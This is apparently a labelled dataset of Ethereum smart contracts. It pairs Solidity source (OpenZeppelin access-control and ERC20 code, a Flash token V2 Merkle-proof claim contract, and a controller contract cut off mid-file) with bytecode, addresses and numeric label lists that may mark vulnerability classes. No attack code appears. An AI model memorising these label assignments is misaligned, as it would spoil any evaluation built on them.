(bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806340c10f19116100ad578063a457c2d711610071578063a457c2d714610272578063a9059cbb14610285578063d539139314610298578063d547741f146102bf578063dd62ed3e146102d257600080fd5b806340c10f191461021357806370a082311461022657806391d148541461024f57806395d89b4114610262578063a217fddf1461026a57600080fd5b8063248a9ca3116100f4578063248a9ca3146101a65780632f2ff15d146101c9578063313ce567146101de57806336568abe146101ed578063395093511461020057600080fd5b806301ffc9a71461013157806306fdde0314610159578063095ea7b31461016e57806318160ddd1461018157806323b872dd14610193575b600080fd5b61014461013f366004610ed5565b61030b565b60405190151581526020015b60405180910390f35b610161610342565b6040516101509190610f72565b61014461017c366004610e72565b6103d4565b6002545b604051908152602001610150565b6101446101a1366004610e37565b6103ec565b6101856101b4366004610e9b565b60009081526005602052604090206001015490565b6101dc6101d7366004610eb3565b610410565b005b60405160128152602001610150565b6101dc6101fb366004610eb3565b61043b565b61014461020e366004610e72565b6104be565b6101dc610221366004610e72565b6104fd565b610185610234366004610deb565b6001600160a01b031660009081526020819052604090205490565b61014461025d366004610eb3565b610532565b61016161055d565b610185600081565b610144610280366004610e72565b61056c565b610144610293366004610e72565b6105fe565b6101857f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b6101dc6102cd366004610eb3565b61060c565b6101856102e0366004610e05565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60006001600160e01b03198216637965db0b60e01b148061033c57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600380546103519061101f565b80601f016020809104026020016040519081016040528092919081815260200182805461037d9061101f565b80156103ca5780601f1061039f576101008083540402835291602001916103ca565b820191906000526020600020905b8154815290600101906020018083116103ad57829003601f168201915b5050505050905090565b6000336103e2818585610632565b5060019392505050565b6000336103fa858285610756565b6104058585856107e8565b506001949350505050565b60008281526005602052604090206001015461042c81336109b6565b6104368383610a1a565b505050565b6001600160a01b03811633146104b05760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b60648201526084015b60405180910390fd5b6104ba8282610aa0565b5050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091906103e290829086906104f8908790610fa5565b610632565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a661052881336109b6565b6104368383610b07565b60009182526005602090815260408084206001600160a01b0393909316845291905290205460ff1690565b6060600480546103519061101f565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909190838110156105f15760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016104a7565b6104058286868403610632565b6000336103e28185856107e8565b60008281526005602052604090206001015461062881336109b6565b6104368383610aa0565b6001600160a01b0383166106945760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a7565b6001600160a01b0382166106f55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a7565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383811660009081526001602090815260408083209386168352929052205460001981146107e257818110156107d55760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016104a7565b6107e28484848403610632565b50505050565b6001600160a01b03831661084c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a7565b6001600160a01b0382166108ae5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104a7565b6001600160a01b038316600090815260208190526040902054818110156109265760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016104a7565b6001600160a01b0380851660009081526020819052604080822085850390559185168152908120805484929061095d908490610fa5565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109a991815260200190565b60405180910390a36107e2565b6109c08282610532565b6104ba576109d8816001600160a01b03166014610be6565b6109e3836020610be6565b6040516020016109f4929190610efd565b60408051601f198184030181529082905262461bcd60e51b82526104a791600401610f72565b610a248282610532565b6104ba5760008281526005602090815260408083206001600160a01b03851684529091529020805460ff19166001179055610a5c3390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b610aaa8282610532565b156104ba5760008281526005602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b6001600160a01b038216610b5d5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016104a7565b8060026000828254610b6f9190610fa5565b90915550506001600160a01b03821660009081526020819052604081208054839290610b9c908490610fa5565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b60606000610bf5836002610fbd565b610c00906002610fa5565b67ffffffffffffffff811115610c2657634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015610c50576020820181803683370190505b509050600360fc1b81600081518110610c7957634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350600f60fb1b81600181518110610cb657634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506000610cda846002610fbd565b610ce5906001610fa5565b90505b6001811115610d79576f181899199a1a9b1b9c1cb0b131b232b360811b85600f1660108110610d2757634e487b7160e01b600052603260045260246000fd5b1a60f81b828281518110610d4b57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060049490941c93610d7281611008565b9050610ce8565b508315610dc85760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e7460448201526064016104a7565b9392505050565b80356001600160a01b0381168114610de657600080fd5b919050565b600060208284031215610dfc578081fd5b610dc882610dcf565b60008060408385031215610e17578081fd5b610e2083610dcf565b9150610e2e60208401610dcf565b90509250929050565b600080600060608486031215610e4b578081fd5b610e5484610dcf565b9250610e6260208501610dcf565b9150604084013590509250925092565b60008060408385031215610e84578182fd5b610e8d83610dcf565b946020939093013593505050565b600060208284031215610eac578081fd5b5035919050565b60008060408385031215610ec5578182fd5b82359150610e2e60208401610dcf565b600060208284031215610ee6578081fd5b81356001600160e01b031981168114610dc8578182fd5b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000815260008351610f35816017850160208801610fdc565b7001034b99036b4b9b9b4b733903937b6329607d1b6017918401918201528351610f66816028840160208801610fdc565b01602801949350505050565b6020815260008251806020840152610f91816040850160208701610fdc565b601f01601f19169190910160400192915050565b60008219821115610fb857610fb861105a565b500190565b6000816000190483118215151615610fd757610fd761105a565b500290565b60005b83811015610ff7578181015183820152602001610fdf565b838111156107e25750506000910152565b6000816110175761101761105a565b506000190190565b600181811c9082168061103357607f821691505b6020821081141561105457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212209648cd4338d05c3fa8da0fdefa803b562ded65bd214176e8dbdb630bdf3206e764736f6c63430008040033
[ 38 ]
0xf2319b6d2ab252d8d80d8cec34daf0079222a624
// SPDX-License-Identifier: MIT pragma solidity 0.7.4; interface IFlashToken { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function mint(address to, uint256 value) external returns (bool); function burn(uint256 value) external returns (bool); } // A library for performing overflow-safe math, courtesy of DappHub: https://github.com/dapphub/ds-math/blob/d0ef6d6a5f/src/math.sol // Modified to include only the essentials library SafeMath { function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x, "MATH:: ADD_OVERFLOW"); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x, "MATH:: SUB_UNDERFLOW"); } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "MATH:: MUL_OVERFLOW"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "MATH:: DIVISION_BY_ZERO"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } contract ClaimContract { using MerkleProof for bytes; using SafeMath for uint256; enum MigrationType { V1_UNCLAIMED, HOLDER, STAKER } address public constant FLASH_TOKEN_V1 = 0xB4467E8D621105312a914F1D42f10770C0Ffe3c8; address public constant FLASH_TOKEN_V2 = 0x20398aD62bb2D930646d45a6D4292baa0b860C1f; bytes32 public constant MERKLE_ROOT = 0x56dc616cf485d230be34e774839fc4b1b11b0ab99b92d594f7f16f4065f7e814; uint256 public constant V1_UNCLAIMED_DEADLINE = 1617235140; mapping(uint256 => uint256) private claimedBitMap; event Claimed(uint256 index, address sender, uint256 amount); function isClaimed(uint256 index) public view returns (bool) { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; uint256 claimedWord = claimedBitMap[claimedWordIndex]; uint256 mask = (1 << claimedBitIndex); return claimedWord & mask == mask; } function _setClaimed(uint256 index) private { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex); } function _getMigratableAmountAndTransferV1(address _user, uint256 _balance) private returns (uint256 flashV2Mint) { uint256 flashV1Balance = IFlashToken(FLASH_TOKEN_V1).balanceOf(_user); flashV2Mint = flashV1Balance >= _balance ? _balance : flashV1Balance; IFlashToken(FLASH_TOKEN_V1).transferFrom(_user, address(this), flashV2Mint); } function claim( uint256 index, uint256 balance, uint256 bonusAmount, uint256 expiry, uint256 expireAfter, MigrationType migrationType, bytes32[] calldata merkleProof ) external { require(!isClaimed(index), "FlashV2Migration: Already claimed."); address user = msg.sender; require( MerkleProof.verify( merkleProof, MERKLE_ROOT, keccak256( abi.encodePacked(index, user, balance, bonusAmount, expiry, expireAfter, uint256(migrationType)) ) ), "FlashV2Migration: Invalid proof." ); uint256 flashV2Mint = balance; if (migrationType == MigrationType.V1_UNCLAIMED) { require(block.timestamp <= V1_UNCLAIMED_DEADLINE, "FlashV2Migration: V1 claim time expired."); } else if (migrationType == MigrationType.HOLDER) { flashV2Mint = _getMigratableAmountAndTransferV1(user, balance); } else if (migrationType == MigrationType.STAKER) { if (expireAfter > block.timestamp) { uint256 burnAmount = balance.mul(expireAfter.sub(block.timestamp)).mul(75e16).div(expiry.mul(1e18)); flashV2Mint = balance.sub(burnAmount); } } else { revert("FlashV2Migration: Invalid migration type"); } _setClaimed(index); IFlashToken(FLASH_TOKEN_V2).mint(user, flashV2Mint.add(bonusAmount)); emit Claimed(index, user, flashV2Mint); } }
0x608060405234801561001057600080fd5b50600436106100625760003560e01c806351e75e8b1461006757806357e1faf1146100815780635bf65b781461011a5780639e34070f14610122578063a2feab0f14610153578063cd1409b614610177575b600080fd5b61006f61017f565b60408051918252519081900360200190f35b610118600480360360e081101561009757600080fd5b81359160208101359160408201359160608101359160808201359160ff60a0820135169181019060e0810160c08201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184602083028401116401000000008311171561010d57600080fd5b5090925090506101a3565b005b61006f61052b565b61013f6004803603602081101561013857600080fd5b5035610533565b604080519115158252519081900360200190f35b61015b610559565b604080516001600160a01b039092168252519081900360200190f35b61015b610571565b7f56dc616cf485d230be34e774839fc4b1b11b0ab99b92d594f7f16f4065f7e81481565b6101ac88610533565b156101e85760405162461bcd60e51b815260040180806020018281038252602281526020018061093a6022913960400191505060405180910390fd5b60003390506102ba8383808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152507f56dc616cf485d230be34e774839fc4b1b11b0ab99b92d594f7f16f4065f7e81492508d91508590508c8c8c8c8c600281111561025957fe5b60405160200180888152602001876001600160a01b031660601b815260140186815260200185815260200184815260200183815260200182815260200197505050505050505060405160208183030381529060405280519060200120610589565b61030b576040805162461bcd60e51b815260206004820181905260248201527f466c61736856324d6967726174696f6e3a20496e76616c69642070726f6f662e604482015290519081900360640190fd5b87600085600281111561031a57fe5b1415610368576360650cc44211156103635760405162461bcd60e51b815260040180806020018281038252602881526020018061095c6028913960400191505060405180910390fd5b610437565b600185600281111561037657fe5b141561038d57610386828a610632565b9050610437565b600285600281111561039b57fe5b141561040057428611156103635760006103ec6103c089670de0b6b3a7640000610775565b6103e6670a688906bd8b00006103e06103d98c426107e3565b8f90610775565b90610775565b90610832565b90506103f88a826107e3565b915050610437565b60405162461bcd60e51b81526004018080602001828103825260288152602001806109126028913960400191505060405180910390fd5b6104408a61089c565b7320398ad62bb2d930646d45a6d4292baa0b860c1f6340c10f1983610465848c6108c3565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156104ab57600080fd5b505af11580156104bf573d6000803e3d6000fd5b505050506040513d60208110156104d557600080fd5b5050604080518b81526001600160a01b038416602082015280820183905290517f4ec90e965519d92681267467f775ada5bd214aa92c0dc93d90a5e880ce9ed0269181900360600190a150505050505050505050565b6360650cc481565b6101008104600090815260208190526040902054600160ff9092169190911b9081161490565b7320398ad62bb2d930646d45a6d4292baa0b860c1f81565b73b4467e8d621105312a914f1d42f10770c0ffe3c881565b600081815b85518110156106275760008682815181106105a557fe5b602002602001015190508083116105ec578281604051602001808381526020018281526020019250505060405160208183030381529060405280519060200120925061061e565b808360405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092505b5060010161058e565b509092149392505050565b60008073b4467e8d621105312a914f1d42f10770c0ffe3c86001600160a01b03166370a08231856040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561069657600080fd5b505afa1580156106aa573d6000803e3d6000fd5b505050506040513d60208110156106c057600080fd5b50519050828110156106d257806106d4565b825b604080516323b872dd60e01b81526001600160a01b038716600482015230602482015260448101839052905191935073b4467e8d621105312a914f1d42f10770c0ffe3c8916323b872dd916064808201926020929091908290030181600087803b15801561074157600080fd5b505af1158015610755573d6000803e3d6000fd5b505050506040513d602081101561076b57600080fd5b5091949350505050565b600082610784575060006107dd565b8282028284828161079157fe5b04146107da576040805162461bcd60e51b81526020600482015260136024820152724d4154483a3a204d554c5f4f564552464c4f5760681b604482015290519081900360640190fd5b90505b92915050565b808203828111156107dd576040805162461bcd60e51b81526020600482015260146024820152734d4154483a3a205355425f554e444552464c4f5760601b604482015290519081900360640190fd5b6000808211610888576040805162461bcd60e51b815260206004820152601760248201527f4d4154483a3a204449564953494f4e5f42595f5a45524f000000000000000000604482015290519081900360640190fd5b600082848161089357fe5b04949350505050565b610100810460009081526020819052604090208054600160ff9093169290921b9091179055565b808201828110156107dd576040805162461bcd60e51b81526020600482015260136024820152724d4154483a3a204144445f4f564552464c4f5760681b604482015290519081900360640190fdfe466c61736856324d6967726174696f6e3a20496e76616c6964206d6967726174696f6e2074797065466c61736856324d6967726174696f6e3a20416c726561647920636c61696d65642e466c61736856324d6967726174696f6e3a20563120636c61696d2074696d6520657870697265642ea26469706673582212204a689a2d87519d04da4bef5245af63e1a0fb43921126f5ce7d4cc3ecfea8067764736f6c63430007040033
[ 16, 7, 5 ]
0xf2325749C420ee45A91aa5B8592F623219c00047
// hevm: flattened sources of src/controller-v2.sol pragma solidity >=0.4.23 >=0.6.0 <0.7.0 >=0.6.2 <0.7.0 >=0.6.7 <0.7.0; ////// src/interfaces/controller.sol // SPDX-License-Identifier: MIT /* pragma solidity ^0.6.0; */ interface IController { function vaults(address) external view returns (address); function rewards() external view returns (address); function want(address) external view returns (address); // NOTE: Only StrategyControllerV2 implements this function balanceOf(address) external view returns (uint256); function withdraw(address, uint256) external; function freeWithdraw(address, uint256) external; function earn(address, uint256) external; } ////// src/interfaces/converter.sol /* pragma solidity ^0.6.2; */ interface Converter { function convert(address) external returns (uint256); } ////// src/lib/safe-math.sol /* pragma solidity ^0.6.0; */ /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * 